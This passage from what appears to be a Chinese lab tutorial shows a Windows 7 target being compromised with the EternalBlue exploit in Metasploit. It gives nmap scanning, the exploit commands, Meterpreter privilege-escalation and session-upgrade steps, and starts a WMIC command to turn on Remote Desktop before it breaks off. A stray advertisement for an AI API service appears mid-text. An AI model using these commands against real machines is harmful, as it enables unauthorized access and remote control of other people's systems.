1. 靶场环境搭建与目标确认
这次我们要模拟的是一个经典的渗透测试场景:攻击者通过漏洞利用获取Windows靶机的初始访问权限,最终实现图形化远程控制。实验环境采用最常见的Kali Linux作为攻击机(IP:192.168.25.130),目标是一台存在永恒之蓝漏洞的Windows 7靶机(IP:192.168.25.132)。
在实际操作前,有几点必须确认清楚:
- 确保靶机与攻击机在同一网络段,能互相ping通
- 关闭靶机的防火墙或设置放行规则(实验环境可关闭,真实环境需其他技巧)
- 建议使用虚拟机快照功能,方便反复练习
我习惯先用nmap做基础扫描确认靶机状态,这个习惯帮我避免过很多无效操作。执行nmap -sV 192.168.25.132可以看到靶机开放的端口和服务版本,这对后续漏洞利用非常关键。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 利用永恒之蓝漏洞获取初始Shell
永恒之蓝(MS17-010)是2017年曝出的Windows SMB协议漏洞,至今仍是内网渗透的利器。在Metasploit中,这个漏洞对应exploit/windows/smb/ms17_010_eternalblue模块。
具体操作步骤:
bash复制msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.25.132
exploit
成功执行后会返回Meterpreter会话。这里有个实战技巧:如果直接getsystem提权失败,可以尝试background退回msf,然后使用post/multi/manage/shell_to_meterpreter模块升级会话。
拿到shell后立即做三件事:
- 运行
sysinfo确认系统信息 - 执行
getuid查看当前权限 - 用
netstat -ano检查网络连接情况
3. 开启远程桌面服务的两种方法
默认情况下,Windows的远程桌面服务(3389端口)可能处于关闭状态。我们需要通过命令行激活它,这里分享两种经过实测有效的方法。
方法一:使用WMIC命令
cmd复制wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
